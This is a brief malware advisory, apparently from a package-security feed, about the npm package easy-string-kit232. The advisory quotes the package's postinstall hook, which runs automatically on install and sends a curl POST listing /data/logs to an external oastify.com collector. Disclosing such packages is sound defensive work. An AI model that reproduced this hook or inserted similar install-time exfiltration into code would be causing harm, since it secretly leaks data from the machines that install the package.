Malicious code in easy-string-kit232 (npm)

Source: amazon-inspector 9c3f74b6873c47dc8f3a6d6922e9d66d17cafe47b7a80447f45bfe0d1535a6b5 package.json declares a postinstall lifecycle script that auto-executes on npm install and runs curl -X POST -d "$ls -la /data/logs/" http://3dhd6wwmusbh04m22igmzvb4hvnmblza.oastify.com/data. This shells out...